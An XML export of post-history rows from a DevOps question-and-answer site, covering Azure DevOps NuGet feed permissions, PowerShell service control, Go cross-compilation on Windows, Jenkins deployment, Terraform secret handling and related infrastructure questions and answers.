  <row Id="33350" PostHistoryTypeId="2" PostId="10872" RevisionGUID="cb16096b-dcfe-470a-9f0a-0aa82f2b0e28" CreationDate="2020-02-21T06:47:50.130" UserId="8712" Text="The `-name` parameter of the `Stop-Service` command is an [array strings][1]. You can pass multiple services to it.&#xD;&#xA;&#xD;&#xA;    Stop-Service -name service1,service2,service3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/stop-service?view=powershell-7#parameters" ContentLicense="CC BY-SA 4.0" />
  <row Id="33351" PostHistoryTypeId="5" PostId="10843" RevisionGUID="75cf81b7-4486-4984-b61d-59c16ae49210" CreationDate="2020-02-21T07:16:12.283" UserId="19753" Comment="added 170 characters in body" Text="&gt; Updated 20th Feb &amp; 21st Feb&#xD;&#xA;&#xD;&#xA;**Summary**&#xD;&#xA;&#xD;&#xA;Not able to find NuGet package from our private feed under Artifacts.&#xD;&#xA;&#xD;&#xA;**Our Azure DevOps environment**&#xD;&#xA;&#xD;&#xA;In Azure, we have our company &quot;space&quot;: dev.azure.com/OurCompany&#xD;&#xA;&#xD;&#xA;Under that, we have multiple Projects, so for example, imagine these three:&#xD;&#xA;&#xD;&#xA; - Green: this holds applications of a certain type&#xD;&#xA; - Blue: this holds applications of a different type&#xD;&#xA; - Red: this holds our &quot;common&quot; helper code&#xD;&#xA;&#xD;&#xA;**RED**&#xD;&#xA;&#xD;&#xA;RED holds all our common helper code are DLLs consumed by applications in GREEN and BLUE.  These are made available as NuGet packages.&#xD;&#xA;&#xD;&#xA;Under RED's Artifacts, we see an &quot;organisational scoped feed&quot; called &quot;OurCompany&quot;.  We understood that we couldn't use this because these NuGet packages need to be available to everyone in OurCompany, which means not only on Azure, but also on our DeskTop machines in our Corporate network (where we run Visual Studio).  The &quot;organisational scoped feed&quot; I don't think is exposed to our Corporate Network.&#xD;&#xA;&#xD;&#xA;We therefore created a new Feed under RED's Artifacts.  When I view Permissions, I see the following entries:&#xD;&#xA;&#xD;&#xA; - {me} : (Owner)&#xD;&#xA; - [OurCompany]\Project Collection Adminstrators : (Owner)&#xD;&#xA; - [RED]\Project Administrators : (Owner)&#xD;&#xA; - Project Collection Build Service (OurCompany) : (Contributor)&#xD;&#xA; - [RED]\Contributors (Contributor)&#xD;&#xA; - RED Build Service (OurCompany) : (Contributor)&#xD;&#xA; - BLUE Build Service (OurCompany) : (Contributor)&#xD;&#xA;&#xD;&#xA;**Corporate**&#xD;&#xA;&#xD;&#xA;So, back in Corporate, we add the NuGet package feed to our Visual Studio and it can then pull the NuGet packages down from Azure.&#xD;&#xA;&#xD;&#xA;**GREEN and BLUE**&#xD;&#xA;&#xD;&#xA;In here we have our products.  We create a build Pipeline and we add a NuGet restore step:&#xD;&#xA;&#xD;&#xA;    - task: NuGetCommand@2&#xD;&#xA;      displayName: 'Restore for Our Application'&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'restore'&#xD;&#xA;        restoreSolution: '**/*.sln'&#xD;&#xA;        feedsToUse: 'select'&#xD;&#xA;        vstsFeed: '{Guid1}/{Guid2}'&#xD;&#xA;&#xD;&#xA;The two Guids were filled in when we picket the Azure Artifacts feed from the drop-down.&#xD;&#xA;&#xD;&#xA;**GREEN or BLUE NuGet Restore Failure**&#xD;&#xA;&#xD;&#xA;So this is where we run into our issue.  When the NuGet restore step executes, it fails with the following message:&#xD;&#xA;&#xD;&#xA;    Unable to find version 'nnnn.n.n' of package 'TheNuGetPackage'.&#xD;&#xA;&#xD;&#xA;The log output is vast, but the salient lines appear to be:&#xD;&#xA;&#xD;&#xA;    2020-02-18T18:36:35.2838118Z [command]C:\hostedtoolcache\windows\NuGet\5.4.0\x64\nuget.exe sources Add -NonInteractive -Name {Guid2} -Source https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&#xD;&#xA;    -ConfigFile d:\a\1\Nuget\tempNuGet_356.config 2020-02-18T18:36:35.7513495Z Package source with Name: {Guid2} added successfully. 2020-02-18T18:36:41.1671856Z     [CredentialProvider.183638]Command-line v0.1.20+a5d37185a1a95acb4f0g997b9c23cab99508: &quot;d:\a\_tasks\NuGetCommand_333b11bd-d341-40d9-bdbd-b32d5ce6f23b\2.164.0\CredentialProviderV2\plugins\netfx\CredentialProvider.Microsoft\CredentialProvider.Microsoft.exe&quot;&#xD;&#xA;    -Plugin 2020-02-18T18:36:41.1673979Z     [CredentialProvider]Handling 'Request' 'GetAuthenticationCredentials'. Time elapsed in ms: 3 - Payload: {&quot;Uri&quot;:&quot;https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&quot;,&quot;IsRetry&quot;:false,&quot;IsNonInteractive&quot;:true,&quot;CanShowDialog&quot;:true} 2020-02-18T18:36:41.1674299Z     [CredentialProvider]Handling auth request, Uri: https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json, IsRetry: False, IsNonInteractive: True, CanShowDialog: True 2020-02-18T18:36:41.1674465Z     [CredentialProvider]URI: https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1674818Z     [CredentialProvider]Skipping NuGetCredentialProvider.CredentialProviders.VstsBuildTaskServiceEndpoint.VstsBuildTaskServiceEndpointCredentialProvider, cannot provide credentials for https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1675261Z     [CredentialProvider]VstsBuildTaskCredentialProvider - https://dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675425Z     [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675722Z    [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676021Z    [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676161Z    [CredentialProvider]VstsBuildTaskCredentialProvider - Matched prefix: https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676330Z    [CredentialProvider]VstsBuildTaskCredentialProvider - Found credentials for endpoint https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1680820Z   https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json: Unable to load the service index for source https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json. 2020-02-18T18:36:41.1680996Z   Response status code does not indicate success: 404 (Not Found - VS800075: The project with id 'vstfs:///Classification/TeamProject/{Guid1}' does not exist, or you do not have permission to access it. (DevOps Activity ID: 0628EDE7-6E7E-465D-A6AE-7B6B0AA065D2)).&#xD;&#xA;&#xD;&#xA;This looks like a permissions thing to me.  But what seems odd is that the Artifact Feed in RED was discoverable when creating the Pipeline Build YAML when we then don't have permissions to use it.&#xD;&#xA;&#xD;&#xA;I did try adding permissions to the Feed in RED.  Clicking on the &quot;Add users/groups&quot;.  I found the following and added them as either Reader or Contributor, but with no success.&#xD;&#xA;&#xD;&#xA; 1. [GREEN]\ Green Team&#xD;&#xA; 2. GREEN Build Services&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA; 1. Am I going about this the wrong way?  If so, what ought I be doing (I thought I'd followed the Azure DevOps instuctions fairly closely)&#xD;&#xA; 2. Am I going about this the right way?  If so, what have I missed?&#xD;&#xA;&#xD;&#xA;**Update #1**&#xD;&#xA;&#xD;&#xA;Verbose error message from Restore step&#xD;&#xA;&#xD;&#xA;&gt; https://api.nuget.org/v3/index.json: Package 'Package1.nnnn.n.n' is&#xD;&#xA;&gt; not found on source 'https://api.nuget.org/v3/index.json'.&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json:&#xD;&#xA;&gt; Unable to load the service index for source&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json.&#xD;&#xA;&gt; Response status code does not indicate success: 404 (Not Found -&#xD;&#xA;&gt; VS800075: The project with id&#xD;&#xA;&gt; 'vstfs:///Classification/TeamProject/{Guid1}' does not exist, or you&#xD;&#xA;&gt; do not have permission to access it. (DevOps Activity ID: {Guid})).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;** Update #2**&#xD;&#xA;&#xD;&#xA;Added `BLUE Build Service (OurCompany) : (Contributor)` to the permissions above." ContentLicense="CC BY-SA 4.0" />
  <row Id="33352" PostHistoryTypeId="4" PostId="10843" RevisionGUID="82000a42-9c5f-4d2b-8a5f-be3cbaed6b7b" CreationDate="2020-02-21T07:48:48.603" UserId="19753" Comment="edited title" Text="Project pipeline not able to access NuGet package from Artifact Feed in different Project" ContentLicense="CC BY-SA 4.0" />
  <row Id="33353" PostHistoryTypeId="5" PostId="10872" RevisionGUID="b8e3f5de-fad9-4e7d-807a-a001dc16534d" CreationDate="2020-02-21T09:35:10.110" UserId="8712" Comment="added 200 characters in body" Text="The `-name` parameter of the `Stop-Service` command is an [array strings][1]. You can pass multiple services to it.&#xD;&#xA;&#xD;&#xA;    Stop-Service -name service1,service2,service3&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Stop-Service -name service1,service2,service3 -NoWait&#xD;&#xA;    while ((Get-Service service1, service2, service3 | ? { $_.status -ne ([System.ServiceProcess.ServiceControllerStatus]::Stopped)}).Count -ne 0) &#xD;&#xA;    { &#xD;&#xA;       Start-Sleep -Seconds 5 &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/stop-service?view=powershell-7#parameters&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33354" PostHistoryTypeId="5" PostId="10872" RevisionGUID="541b5958-194d-4b4c-8a54-621553df9b52" CreationDate="2020-02-21T09:50:10.770" UserId="8712" Comment="deleted 154 characters in body" Text="The `-name` parameter of the `Stop-Service` command is an [array strings][1]. You can pass multiple services to it.&#xD;&#xA;&#xD;&#xA;    Stop-Service -name service1,service2,service3&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [string[]]$services = @('service1', 'service2')&#xD;&#xA;    Stop-Service -Name $services -NoWait&#xD;&#xA;    while ((Get-Service -Name $services | Where-Object { $_.status -ne 'Stopped'}).Count -ne 0)&#xD;&#xA;    {&#xD;&#xA;        Start-Sleep -Seconds 5&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="33361" PostHistoryTypeId="2" PostId="10875" RevisionGUID="3f8c94c8-93ae-4744-a6ba-c69257bca950" CreationDate="2020-02-21T13:58:59.420" UserId="19821" Text="Windows also has a one-liner solution, just a bit uglier than the linux version. Any of the below lines will do the job:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cmd /C &quot;SET GOOS=linux&amp;&amp; SET GOARCH=amd64&amp;&amp; go build main.go&quot;&#xD;&#xA;cmd /C &quot;SET &quot;GOOS=linux&quot; &amp;&amp; SET &quot;GOARCH=amd64&quot; &amp;&amp; go build main.go&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Be careful, if you just write `...SET GOOS=linux &amp;&amp; SET ...` then you will get an error message &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cmd/go: unsupported GOOS/GOARCH pair linux /amd64&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;because there will be an extra space after the value `linux `. In order to avoid this, use either the condensed form `linux&amp;&amp;` or the other version with quotation marks." ContentLicense="CC BY-SA 4.0" />
  <row Id="33362" PostHistoryTypeId="2" PostId="10876" RevisionGUID="fbe8b3ed-9a55-472c-a567-2089fac283b6" CreationDate="2020-02-21T17:21:54.787" UserId="7137" Text="Can anyone tell me if there's a &quot;killer&quot; reason to put NGINX in front Kubernetes pods running Gunicorn? &#xD;&#xA;&#xD;&#xA;externally, I have CloudFront hitting an ELB which in turn engages the pods running Gunicorn with my Django based API server. &#xD;&#xA;&#xD;&#xA;Since Caching is handled by CloudFront, and it's flexible enough for routing rules  -- is there any good reason to add NGINX to the mix? " ContentLicense="CC BY-SA 4.0" />
  <row Id="33363" PostHistoryTypeId="1" PostId="10876" RevisionGUID="fbe8b3ed-9a55-472c-a567-2089fac283b6" CreationDate="2020-02-21T17:21:54.787" UserId="7137" Text="CloudFront -&gt; ELB -&gt; Pod running Gunicorn" ContentLicense="CC BY-SA 4.0" />
  <row Id="33364" PostHistoryTypeId="3" PostId="10876" RevisionGUID="fbe8b3ed-9a55-472c-a567-2089fac283b6" CreationDate="2020-02-21T17:21:54.787" UserId="7137" Text="&lt;nginx&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33365" PostHistoryTypeId="2" PostId="10877" RevisionGUID="f7f0500e-ab49-4106-be8b-bf375829de1a" CreationDate="2020-02-21T19:15:17.010" UserId="18791" Text="I understand how to set up SFTP servers on Linux and create users and their passwords manually.&#xD;&#xA;&#xD;&#xA;So basically, the users get authenticated as normal Linux users get authenticated through `/etc/passwd`. Is there any way to introduce a third party for the user and credentials management?&#xD;&#xA;&#xD;&#xA;I am setting up the server on Google Kubernetes Engine. I see AWS provides [SFTP as a service](https://aws.amazon.com/sftp/?whats-new-cards.sort-by=item.additionalFields.postDateTime&amp;whats-new-cards.sort-order=desc) and I wanna achieve something similar on GCP.&#xD;&#xA;&#xD;&#xA;Here is what AWS is doing:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;AFAIK, everything (1,2 and 4) from the above image is in place except AWS IAM and Amazon Route S3 (point-3).&#xD;&#xA;&#xD;&#xA;I have given AWS reference just as an example. I am looking for a way to use a third party to manage my SFTP users and credentials instead of normally using `/etc/passwd`.&#xD;&#xA;&#xD;&#xA;There are tools available like okta, gsuite, Google Cloud Identity, etc. But I am not sure how to leverage them to manage users in an SFTP server.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lYrkE.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33366" PostHistoryTypeId="1" PostId="10877" RevisionGUID="f7f0500e-ab49-4106-be8b-bf375829de1a" CreationDate="2020-02-21T19:15:17.010" UserId="18791" Text="SFTP server with third party user management system?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33367" PostHistoryTypeId="3" PostId="10877" RevisionGUID="f7f0500e-ab49-4106-be8b-bf375829de1a" CreationDate="2020-02-21T19:15:17.010" UserId="18791" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;linux&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33370" PostHistoryTypeId="2" PostId="10878" RevisionGUID="745fa93f-2a2b-478e-b887-6f096d8c68cc" CreationDate="2020-02-22T14:42:32.213" UserId="19834" Text="I have a static website that I would like to deploy to my Apache2 server using Jenkins. I think of 2 solutions: &#xD;&#xA;&#xD;&#xA; - Should I change the workspace dir of Jenkins to /var/www/?&#xD;&#xA; - Or should I copy all files in workspace to /var/www in post build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33371" PostHistoryTypeId="1" PostId="10878" RevisionGUID="745fa93f-2a2b-478e-b887-6f096d8c68cc" CreationDate="2020-02-22T14:42:32.213" UserId="19834" Text="Jenkins deploy static web with Apache2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33372" PostHistoryTypeId="3" PostId="10878" RevisionGUID="745fa93f-2a2b-478e-b887-6f096d8c68cc" CreationDate="2020-02-22T14:42:32.213" UserId="19834" Text="&lt;jenkins&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33373" PostHistoryTypeId="50" PostId="10570" RevisionGUID="d51d0e94-6b3a-49a6-8bac-5383ec34a88c" CreationDate="2020-02-22T15:00:43.860" UserId="-1" />
  <row Id="33374" PostHistoryTypeId="2" PostId="10879" RevisionGUID="66e2811a-aa9b-4d48-96fa-f4dc47f6ca4d" CreationDate="2020-02-22T15:50:11.273" UserId="47" Text="Using a shared virtualenv for automation while also expecting the virtualenv's content to be (automatically) updated without the automation's knowledge/control is not a good practice - opening up for all kinds of obscure/intermittent/hard to reproduce failures. &#xD;&#xA;&#xD;&#xA;So I wouldn't spend too much time trying to figure out a solid way of updating your package in the shared virtualenv without hitting the automation jobs - sooner or later they'll be hit by other problems stemming from the same root cause - using a shared virtualenv. Think back at the very reason(s) for using a virtualenv in the first place.&#xD;&#xA;&#xD;&#xA;For consistent results automation should ensure that the virtualenv content is updated as needed as a preliminary step and does not (unexpectedly) change while the job is performed. Which isn't really possible with a virtualenv shared across multiple **independent** automation jobs. It *might* be possible with coordinated jobs, all sharing a common step that performs the virtualenv updates in a controlled manner to ensure virtualenv's consistency during jobs, but IMHO it's just not worthy to build such complex system, it's much simpler to not share the virtualenv and keep the jobs independent.&#xD;&#xA;&#xD;&#xA;If, regardless of these considerations, the request for a shared virtualenv still stands then don't update the virtualenv outside (well defined and announced) maintenance windows during which execution of the automation jobs should be suspended.&#xD;&#xA;&#xD;&#xA;As a side note it's also not a good practice to not version your packages, unless maybe if you have a very clear and easily accessible indication of the exact code version being used in each particular case (the commit SHA for example) - when problems occur you'll most likely need that info when attempting to reproduce the problem, debug it and/or verify fixes with some degree of certainty." ContentLicense="CC BY-SA 4.0" />
  <row Id="33375" PostHistoryTypeId="2" PostId="10880" RevisionGUID="c006f96b-3c15-4d42-b05c-75ca5783c1e9" CreationDate="2020-02-22T16:25:11.707" UserId="47" Text="I think having such check in place is a good thing, especially if running the app with the wrong schema would cause app failures or, even worse, leave room for potentially costly corruptions in the database.&#xD;&#xA;&#xD;&#xA;The only pitfall I can think of would be dependent on the actual deployment process - if it stops the already deployed app version before deploying the new app version the additional check will increase the number and duration of app outages. Not necessarily a bad thing when taking into account the cost of running the app with the wrong schema version. But IMHO it *should* be possible to adjust the deployment process to avoid such outages by only stopping the existing app version after successful deployment of the new version, typically by switching traffic from one version to the other.&#xD;&#xA;&#xD;&#xA;Another approach to this problem would be to always have the app capable of running in backwards-compatible manner, automatically handling the schema changes. If such capability exists then you shouldn't have such check in place." ContentLicense="CC BY-SA 4.0" />
  <row Id="33376" PostHistoryTypeId="2" PostId="10881" RevisionGUID="4d078b0b-5623-4b82-8556-a1e4e22074d8" CreationDate="2020-02-22T19:42:05.477" UserId="19837" Text="You can utilize the [external data source][1] to import secrets to Terraform and encrypt the secret files with `gpg`.&#xD;&#xA;&#xD;&#xA;For instance, this what a terraform file would like for creating an rds instance with password `foobarbaz `&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;rds&quot; {&#xD;&#xA;      program  = [ &quot;cat&quot;, &quot;.secrets/rds.json&quot;]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_db_instance&quot; &quot;default&quot; {&#xD;&#xA;      allocated_storage    = 20&#xD;&#xA;      storage_type         = &quot;gp2&quot;&#xD;&#xA;      engine               = &quot;mysql&quot;&#xD;&#xA;      engine_version       = &quot;5.7&quot;&#xD;&#xA;      instance_class       = &quot;db.t2.micro&quot;&#xD;&#xA;      name                 = &quot;mydb&quot;&#xD;&#xA;      username             = &quot;foo&quot;&#xD;&#xA;      password             = &quot;${data.external.rds.result.password}&quot;&#xD;&#xA;      parameter_group_name = &quot;default.mysql5.7&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can check [this post][2] that explains in detail how to do this. &#xD;&#xA;&#xD;&#xA;**[How to encrypt terraform secrets][2]**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/external/data_source.html&#xD;&#xA;  [2]: http://issamben.com/how-to-encrypt-terraform-secrets/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33377" PostHistoryTypeId="2" PostId="10882" RevisionGUID="ba344f86-5f81-4c94-b339-32b624f6bb5e" CreationDate="2020-02-23T00:01:01.100" UserId="15016" Text="As mentioned, there are many ways to accomplish the final goal of exposing a site built from a Jenkins job to public traffic.&#xD;&#xA;&#xD;&#xA;Both ideas could work, but here are some tweaks.&#xD;&#xA;&#xD;&#xA; - Instead of changing the job workspace directory, build the site to a sub directory in the workspace and [symlink][1] the directory with root directory of your site. This allows control over what is part of live site.&#xD;&#xA; - To put a boundary between the build and deploy, [rsync][2] would be more efficient and easier to manage than copying. Follow the same pattern of creating a sub directory and rsync to the site directory. &#xD;&#xA;&#xD;&#xA;The decision depends on the requirements of the site. If it is static with no promise of up-time, a symlink will work fine, however if the Jenkins job breaks and breaks the workspace version of the site, the actual site will be down. I would recommend using rsync and adding a validation step between the build and rsync to ensure the site stays up.&#xD;&#xA;&#xD;&#xA;Final note, using git or other scm provides backups which can be tagged. If the current build breaks, rolling back would be easy. However, if there is no scm (not recommended), keep some segregation between the build and live site to ensure it is not broken for an extended amount of time.&#xD;&#xA;&#xD;&#xA;  [1]: https://devdojo.com/tutorials/what-is-a-symlink&#xD;&#xA;  [2]: https://www.samba.org/ftp/rsync/rsync.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="33382" PostHistoryTypeId="2" PostId="10884" RevisionGUID="7803bb7d-c3be-47a0-9d5f-422c853baf86" CreationDate="2020-02-23T07:49:41.173" UserId="18117" Text="Deployments are primarily based on stateless services, where data is externalized to be stored on some other storage block or database. Using deployments for stateful services is not recommended as you will encounter scaling problems, since multiple replicas will read from the same persistent volume. &#xD;&#xA;&#xD;&#xA;Instead, StatefulSets are the best approach to stateful services. Each replica of the StatefulSet has its own state mounted on a dedicated persistent volume, thus scaling a StatefulSet will create a new persistent volume and attach the new replica to it.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33386" PostHistoryTypeId="2" PostId="10886" RevisionGUID="b4471db5-2b65-4011-95e1-c8d584e49c30" CreationDate="2020-02-23T22:01:12.667" UserId="19849" Text="My organisation uses Azure DevOps and we want to use git as our repo.&#xD;&#xA;&#xD;&#xA;But, Azure projects seem to only allow one git repo per project.&#xD;&#xA;&#xD;&#xA;This is bizarre to me! Projects and repos are usually separate. One project may involve development on several tools, and a tool may be used by several projects.&#xD;&#xA;&#xD;&#xA;How can I get projects to engage with multiple git repos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33387" PostHistoryTypeId="1" PostId="10886" RevisionGUID="b4471db5-2b65-4011-95e1-c8d584e49c30" CreationDate="2020-02-23T22:01:12.667" UserId="19849" Text="How to have multiple git repos in an Azure DevOps project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33388" PostHistoryTypeId="3" PostId="10886" RevisionGUID="b4471db5-2b65-4011-95e1-c8d584e49c30" CreationDate="2020-02-23T22:01:12.667" UserId="19849" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33389" PostHistoryTypeId="2" PostId="10887" RevisionGUID="e2d9257a-53e7-4426-841e-d15649e0517f" CreationDate="2020-02-24T07:30:08.547" UserId="19753" Text="Very few people were viewing this thread, so I posted a duplicate thread [here][1] on the Developers' Stack Overflow which had many more views, and now contains the answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/60296233/azure-devops-project-pipeline-not-able-to-access-nuget-package-from-artifact-fee" ContentLicense="CC BY-SA 4.0" />
  <row Id="33390" PostHistoryTypeId="2" PostId="10888" RevisionGUID="23153f21-dc63-4f60-8be7-aaaea761dc9e" CreationDate="2020-02-24T07:35:05.283" UserId="19753" Text="Following works for me:&#xD;&#xA;&#xD;&#xA; - Click on your Project and then [Repos] in the left hand menu.&#xD;&#xA; - Along the top, you'll see the bread-crumbs: `Organization / Project / Repos / Files / {NameOfCurrentRepo}`&#xD;&#xA; - Click the down arrow next to that and you'll see the option to add a `new Repository`&#xD;&#xA;&#xD;&#xA;If that's not available, then it must be a permissions setting that I'm not aware of." ContentLicense="CC BY-SA 4.0" />
  <row Id="33391" PostHistoryTypeId="50" PostId="10485" RevisionGUID="de7e96d5-24a6-4bd8-8927-a9a6165c9478" CreationDate="2020-02-24T10:01:00.137" UserId="-1" />
  <row Id="33392" PostHistoryTypeId="5" PostId="11" RevisionGUID="0c120da5-9c89-47c8-ba4b-81c16b367e1c" CreationDate="2020-02-24T10:25:42.620" UserId="3" Comment="Fixed broken links." Text="AWS Import/Export is a service that accelerates transferring data into and out of AWS using physical storage appliances, bypassing the Internet. AWS Import/Export Disk was originally the only service offered by AWS for data transfer by mail. Disk supports transfers data directly onto and off of storage devices you own using the Amazon high-speed internal network.&#xD;&#xA;&#xD;&#xA;Import/Export was released on May 2009, and described in this blog post - https://aws.amazon.com/blogs/aws/send-us-that-data/&#xD;&#xA;&#xD;&#xA;Released on October of 2016 there is also [Amazon Snowball][1], a service for customers who want to transport terabytes or petabytes of data to and from AWS, or who want to access the storage and compute power of the AWS cloud locally and cost effectively in places where connecting to the internet may not be an option.&#xD;&#xA;&#xD;&#xA;Blog post describing the snowball service -&#xD;&#xA;https://aws.amazon.com/blogs/aws/aws-importexport-snowball-transfer-1-petabyte-per-week-using-amazon-owned-storage-appliances/&#xD;&#xA;&#xD;&#xA;The documentation explains how to prepare a device for export, and how to create the Amazon S3 Export process.&#xD;&#xA;&#xD;&#xA;Here are some older docs:&#xD;&#xA;&#xD;&#xA;- [http://docs.aws.amazon.com/AWSImportExport/latest/DG/PackingS3Jobs.html](http://web.archive.org/web/20171122010340/http://docs.aws.amazon.com/AWSImportExport/latest/DG/PackingS3Jobs.html)&#xD;&#xA;- [http://docs.aws.amazon.com/AWSImportExport/latest/DG/createanexportjob.html](http://web.archive.org/web/20171224115924/http://docs.aws.amazon.com/AWSImportExport/latest/DG/createanexportjob.html)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/snowball/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33394" PostHistoryTypeId="2" PostId="10889" RevisionGUID="d12ce3f1-473b-4907-b9fa-239d5a37b4b6" CreationDate="2020-02-24T10:58:23.457" UserId="10026" Text="I Just curious about difference (in terms of all aspect) between jail environment and docker." ContentLicense="CC BY-SA 4.0" />
  <row Id="33395" PostHistoryTypeId="1" PostId="10889" RevisionGUID="d12ce3f1-473b-4907-b9fa-239d5a37b4b6" CreationDate="2020-02-24T10:58:23.457" UserId="10026" Text="difference between jail environment in linux and docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="33396" PostHistoryTypeId="3" PostId="10889" RevisionGUID="d12ce3f1-473b-4907-b9fa-239d5a37b4b6" CreationDate="2020-02-24T10:58:23.457" UserId="10026" Text="&lt;docker&gt;&lt;containers&gt;&lt;linux&gt;&lt;openshift&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33397" PostHistoryTypeId="2" PostId="10890" RevisionGUID="713049eb-ba39-4062-b077-bc4ca1a04891" CreationDate="2020-02-24T12:39:07.407" UserId="19856" Text="To error out the build, just add the following with your env variable in the docker-compose file.&#xD;&#xA;&#xD;&#xA;    ${ENV_VAR?Variable ENV_VAR not set}&#xD;&#xA;&#xD;&#xA;example:&#xD;&#xA;&#xD;&#xA;    image: consul:${TAG?Variable TAG not set}" ContentLicense="CC BY-SA 4.0" />
  <row Id="33401" PostHistoryTypeId="2" PostId="10892" RevisionGUID="499c9e02-509c-41f0-b67a-0b1492dff336" CreationDate="2020-02-24T14:21:30.803" UserId="19858" Text="Let´s suppose that our repository contents is something that will be shared. Is strange that we include the deploy scripts there, explaining how to deploy in our machines" ContentLicense="CC BY-SA 4.0" />
  <row Id="33402" PostHistoryTypeId="1" PostId="10892" RevisionGUID="499c9e02-509c-41f0-b67a-0b1492dff336" CreationDate="2020-02-24T14:21:30.803" UserId="19858" Text="Where do you store your configurations? Dockerfiles, gitlab-ci, application.properties, deploy scripts" ContentLicense="CC BY-SA 4.0" />
  <row Id="33403" PostHistoryTypeId="3" PostId="10892" RevisionGUID="499c9e02-509c-41f0-b67a-0b1492dff336" CreationDate="2020-02-24T14:21:30.803" UserId="19858" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33404" PostHistoryTypeId="2" PostId="10893" RevisionGUID="38cad33a-6aad-41c5-94d1-a52ddbc29c17" CreationDate="2020-02-24T16:37:21.063" UserId="15792" Text="If by &quot;Shared&quot; you mean that your team has access to the files then it should be stored in Source Control so that everyone on the team is using the same scripts.  You can consider a secrets manager so that team members do not share sensitive information (e.g., [Docker Secrets][1], [AWS Secrets Manager][2], [Azure Key Vault][3]).&#xD;&#xA;&#xD;&#xA;If this will be publicly available you can still use a secrets manager to publish these files with the sensitive data removed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/secrets/&#xD;&#xA;  [2]: https://aws.amazon.com/blogs/aws/aws-secrets-manager-store-distribute-and-rotate-credentials-securely/&#xD;&#xA;  [3]: https://azure.microsoft.com/en-us/services/key-vault/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33405" PostHistoryTypeId="50" PostId="10594" RevisionGUID="43971284-8acf-42a1-80f3-5876f6e63cbd" CreationDate="2020-02-24T17:01:30.153" UserId="-1" />
